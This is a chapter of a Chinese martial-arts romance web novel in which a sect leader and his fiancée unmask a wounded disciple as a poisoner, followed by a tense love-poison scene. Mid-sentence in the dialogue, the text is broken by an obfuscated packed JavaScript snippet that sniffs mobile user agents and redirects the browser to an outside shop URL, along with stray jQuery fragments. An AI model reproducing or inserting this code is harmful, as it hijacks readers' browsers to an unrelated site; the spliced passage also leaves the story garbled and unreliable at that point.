下半日,习武场边人头攒动,这几期共十名优秀弟子要参加这临时设起的比试。
观赛台上孟栩坐正中央,左侧为邹为昭、戴晏,右侧为彭寒时、阮语桐。
戴、阮二人面露疑色,心里不免犯起疑来,也不知掌门因何缘故,突然设下这场比试?
由于前两日才在与孟掌门的较量中落了败,邹为昭坐在此间,显得有些局促难安、心不在焉。他默然不语,脸色与其他人不同,只是愣愣望向前方。
碧萦挤在围观弟子之中,伸着脖子往前观望。
只见怀德堂与玄策堂各有一名弟子先行上台,话不多言,双剑相交,剑鸣呼啸,你来我往间,好一通较量才分出了胜负。
后又来了三组人比试,皆旗鼓相当,打得难分伯仲,好一通角逐才能定下胜者。
可在这场压轴比拼中,却是一眼便能分出强弱。这场比试中一气度翩翩,容貌端正的弟子明显打斗动作僵硬局促,束手束脚,所有动作皆收着,好不自然。
果不其然,此人不过几招便从擂台上摔下,败下阵来。
他的牙关紧咬,表情苦痛,脸上血色尽失。
优秀弟子间理应武功难分上下,原以为也会如前几场比试那般有一番缠斗,没想到三两下便见了分晓。
对战弟子也满脸愕然,连忙奔下擂台将对手扶起。俩人嘴里不知絮絮什么耳语,然后败阵的弟子就被搀扶着下了场。
孟栩认得此败者为怀德堂的宗阶弟子白书臣,是上一期的优秀弟子,也是自己未任掌门之前的同门友人。
观此情状,孟栩心中也有七八分猜想,只待最后印证。
这次的比试也得以潦草结束。
散场前,孟栩交代了彭寒时几句,便背着手匆匆离场。
碧萦见孟栩从观赛席上走下,她便快步跟着他走去的方向小跑赶去。
孟栩独自转入一个往自己庭院回去的幽静小径,碧萦终于在此追上了他。
碧萦见只有孟栩同自己俩人,便朗声问道:“喂,孟栩,方才那个叫白什么的弟子,不正常,发现没呢?”
孟栩猛然停下脚步,碧萦撤步不及,一头撞到了他厚实的后背。
她不禁“哎哟”一声,这猝不及防地一撞,好似撞上一个硬邦邦的石壁。
碧萦揉揉自己被撞的脑壳。
孟栩斜着眼睛看着碧萦这模样竟觉得忍俊不禁。
真不知道有什么好笑的,这副笨样子。
见碧萦抬眸,孟栩便快速地收敛了笑意,清了清嗓子正声道:“据藏书阁出入簿册所录,此人前几日有进入过。”
“果然有鬼,他今日的表现,看起来应是身上有伤。”碧萦点着头,应和着。
“且,他还是彭堂主的两位医术嫡传弟子之一。”
全都对上了!
此人样样都符合:有九霄派功底、身上有伤、会医术懂毒、进入过藏书阁。
碧萦扯住孟栩的衣袖,着急忙慌地道:“那他定是黑衣人,抓住他!”
孟栩却淡定自若、不疾不徐地道:“不可招人眼目,等人群散去,彭堂主自会抓他来,我们只需回院内等候。”
“那,咱们就快些回院子里等着。”碧萦说罢,便向着庭院的方向走去。
瞧得出来,碧萦已经急不可耐,可孟栩却只是缓缓笼着笑意,跟在她身后步履缓慢地道:“不急,我们不可打草惊蛇。”
事情如此紧迫,他为何如此不急的模样?
碧萦一脸茫然不解。
这些种种事,如一团迷雾聚在心头。
孟栩越是这样不急不躁,她便愈发心中无底。
天色已全黑,孟栩坐在院内,他面前的石案上支着一茶炉,清茶慢烹,白色水汽袅袅从炉嘴里飘出。
小院内茶香四溢。
他眼底透着从容与沉静,碧萦看在眼里,心却总悬着不能放下。
但愿此间之事,能如他面上那般,得以从容解决,莫再节外生枝。
孟栩脸上扬起轻轻的笑意,向着碧萦道:“差不多时辰了。”
碧萦不禁抖了抖精神,道:“什么?”
话音刚落未多久,那本就敞开着的院门,终于等来了,孟栩在等着的人。
彭寒时连拉带拽着被捆绑住的白书臣进了孟栩的院子,只见白书臣双手被反扣在身后,手腕和腰身都被粗实的麻绳捆绑着,只留得双脚能动用于行走。
白书臣发鬓缭乱,因被束缚着动弹不得,只能任由彭堂主大力往前拽拉,一不小心便踉跄倒地,显得狼狈不堪。
“掌门,这逆徒已被我抓住。”彭寒时气势汹汹地道,白书臣只是耷垂着脑袋,不发一言。
碧萦跑在孟栩前头,已先至白书臣面前。
她怔怔看着此人,有些不可置信,那个害她家人不浅的黑衣人,竟如此轻易地便被抓住了?
看来自己与哥哥的武功还需加强,竟被此人打得差点丢了性命。
“你是那日的黑衣人?”碧萦半蹲下,向着白书臣问道。
如此近距离的直视,碧萦才看清,眼前之人,五官俊气,脸色苍白,那一股傲气的模样,竟有几分似孟栩。
白书臣扭过头,淡淡地道:“我不知你在说什么。”
碧萦眉头紧蹙,疑惑地凝视着白书臣。
“师弟,你何故身受了伤?”孟栩不慌不忙地道,他唇角带着轻轻笑意,眸底却透着如水的沉静。
白书臣听到孟栩的话,缓缓地将头抬起,迟疑地看着他道:“这……”
还不及孟栩开口,彭堂主却不屑地先道:“白书臣,枉费我如此劳心劳力教导你,竟教出了你这么一个恶徒……”
“师傅,我……”白书臣面露难色,低着头,像是一种无声的默认。
孟栩眼睛倏然聚神,还没等碧萦反应,便见着孟栩猛然伸手点住白书臣脖颈的穴位,白书臣瞬间便翻着眼白,仰面倒地。
“啊!”碧萦脱口惊叫。
孟栩俯身试了试白书臣的鼻息,眉梢紧锁着道:“他方才想咬舌自尽,被我阻止了,现在昏死过去了……”
“他先头在我的审问中,一言不发,算是默认了,向邬将军下毒,为他受人指使所为。”
说罢,彭寒时突然屈膝蹲下,双手扶着白书臣翻身侧过身子,又猛然扯下他后背衣料,那露出的后背上紫青色的掌印清晰可见。
碧萦吃惊地捂住嘴巴。
这个掌印,可不就是那日黑衣人遁逃时挨的孟栩的那一掌?
碧萦顿时心头火起,向着孟栩道:“这个掌印,就是挨你的那一掌吗?”
孟栩没有回应。
碧萦又转头看向彭堂主,只见失望与怒意交揉着浮在他的脸上。
碧萦定定望着彭寒时,不知为何,此刻看着他冷硬的面庞,竟然觉得好是陌生。
孟栩只是轻笑一声,拱手向着彭堂主道:“有劳彭堂主费心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663932|207230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。”
碧萦面带忧虑,向着孟栩道:“可不能让他死啊,他得活着,可以对他晓之以情,动之以理,不行,不行再威逼利诱,总之,一定要让他交出解药。”
孟栩正欲开口,彭寒时却主动请缨,坚定地道:“是我教徒无方,待他醒来,我定会逼他交出解药。”
逼?
方才若不是孟栩眼疾手快,白书臣已然自行了结去了。
就这眼慢手慢的彭寒时,再去逼白书臣?真不怕他再次自裁?
再者,白书臣如此视死如归,如何能逼?
碧萦刚开口想提出质疑:“逼不好吧……”
却听得孟栩道:“那全权委托彭堂主了。”
“孟栩……我怕这人他再次自尽……”碧萦提出自己内心所忧,孟栩却直接打断道:“碧萦同我都累了,先行去休息了。”
孟栩只是看着彭寒时,半分余光也不予于碧萦。
这般紧要关头,他竟然还有心思去歇息?碧萦不由地心中生怒,他为何总是这副胸有成竹的模样?
难道他觉得自己能掌控一切吗?
彭堂主愣神了片刻,便决绝地道:“必当。”
孟栩淡淡悠悠,强硬地扯起碧萦的衣袖就往屋子走去。
“喂……”碧萦有些抗拒孟栩这样的生拉硬拽,三步两回头地看向昏迷的白书臣。
“放心,让彭堂主这个师傅来处置他吧。”孟栩从容不迫地道。
见孟栩和碧萦回了孟栩的屋内,关上了门,彭寒时在门口又站了许久,才将全身柔软无力的白书臣扛起往自己的院中飞去。
——
刚迈进屋内的孟栩,却猛然转身,一只手紧紧捂住碧萦的嘴,一只手从碧萦后背揽过,紧紧抓住她的肩膀。
碧萦后背抵着房门,诧异地瞪着她水灵清透的大眼,眼里满是错愕。
孟栩低下头,与她对视,近在咫尺,他温热的鼻间气息拂过她的额间。
她水光盈盈的眼眸,迎上他的炽热的目光。
他一时间竟然有些意乱情迷。
可这样,又会连累她遭殃毒发。
孟栩只好将脸侧过,别开她那清透的眼眸。
他因常年习武而长了一些茧,这些茧紧紧帖着碧萦的脸。
但碧萦却不觉难受,许是因为那温灼的热度从他的掌心传来。
碧萦有些羞涩于这样的动作,又知晓孟栩此番行为定有缘由,便不想着去挣脱。
两个人近距离对着,孟栩往日刻意压制的情愫,却在此刻不受控制地翻涌而出。
情毒啊情毒,若不是忌惮于它,孟栩真不知道在毫无克制之下,自己会对这个未婚妻做出什么。
碧萦只是懵懵懂懂地看着孟栩,心竟然也有些不受控制地轻轻跳动起来。
这是她从未有过的感觉,可她并不知道,为何会这样。
过了许久,孟栩才确定外头人已走了,便逐渐松开了他的手。
他只觉得此刻掌心发烫,那柔软的触觉还在手头温存。
他别过头,轻轻地与碧萦道:“方才,失礼了。”
碧萦觉得脸上有一些燥热,只是怔怔地看着孟栩的后脑勺,眼里不自觉地竟然略过一丝丝慌乱。
为什么会慌乱?心里有种道不清的悸动感觉,不由地便让她觉得脑子里有些些昏沉。
还不等她话及,孟栩又道:“今晚,有好戏了。”
碧萦:?